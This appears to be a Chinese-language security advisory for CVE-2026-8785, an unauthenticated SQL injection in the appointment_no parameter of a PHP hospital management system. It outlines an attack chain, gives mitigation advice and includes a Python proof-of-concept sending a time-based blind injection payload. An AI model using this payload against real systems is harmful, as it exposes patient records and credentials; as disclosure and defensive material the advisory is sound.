IPBUF安全漏洞报告
English
CVE-2026-8785 CVSS 7.3 高危

CVE-2026-8785: 医院管理系统SQL注入漏洞

披露日期: 2026-05-18

漏洞信息

漏洞编号
CVE-2026-8785
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
projectworlds hospital-management-system-in-php

相关标签

SQL注入CVE-2026-8785医院管理系统远程代码执行Web安全数据泄露

漏洞概述

CVE-2026-8785存在于projectworlds医院管理系统PHP 1.0版中。系统未对`update_info.php`文件中`getAllPatientDetail`函数的`appointment_no`参数进行严格过滤,导致存在SQL注入漏洞。攻击者可远程发起攻击,无需用户交互即可执行恶意SQL语句,可能导致敏感数据泄露、数据完整性受损及服务中断。

技术细节

漏洞根因位于`update_info.php`的`getAllPatientDetail`函数中,该组件负责处理GET请求参数。系统直接将前端传入的`appointment_no`参数拼接到SQL查询语句中,未使用预编译或转义机制。攻击者可以通过发送特制的HTTP GET请求,在`appointment_no`参数中注入SQL payloads(如UNION查询或布尔盲注语句)。由于CVSS向量显示无需用户交互(UI:N)且无需权限(PR:N),攻击者可直接从远程发起攻击。成功利用该漏洞可绕过登录验证,读取数据库中的患者信息、管理员凭据,甚至利用写入特性修改数据库内容,严重威胁系统安全。

攻击链分析

STEP 1
侦察
攻击者扫描互联网或内网,寻找使用projectworlds医院管理系统1.0版本的目标站点。
STEP 2
漏洞探测
攻击者向`update_info.php`发送包含特定SQL注入Payload(如单引号、AND 1=1)的GET请求,观察响应差异以确认漏洞存在。
STEP 3
利用攻击
确认漏洞后,攻击者利用UNION SELECT查询提取数据库结构、管理员密码哈希或患者敏感信息。
STEP 4
权限提升与维持
若数据库权限允许,攻击者可能尝试写入WebShell或通过数据库执行系统命令,从而完全控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(url): # Target endpoint based on vulnerability description target = f"{url}/update_info.php" # Testing payload for Time-Based Blind SQL Injection # Appending a comment to break the rest of the query payload = "1' AND SLEEP(5)-- -" params = { "appointment_no": payload } try: print(f"[*] Sending request to: {target}") response = requests.get(target, params=params, timeout=10) # If the response takes longer than expected due to SLEEP(5), it's vulnerable if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection vulnerability detected!") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with the actual target URL target_url = "http://localhost/hospital-management-system-in-php" check_sqli(target_url)

影响范围

projectworlds hospital-management-system-in-php 1.0

防御指南

临时缓解措施
在官方发布修复补丁前,建议管理员在Web服务器(如Nginx或Apache)层面对`update_info.php`路径实施严格的访问控制,仅允许可信IP访问。同时,利用WAF拦截含有单引号、双横线注释符及SQL关键字的恶意请求流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表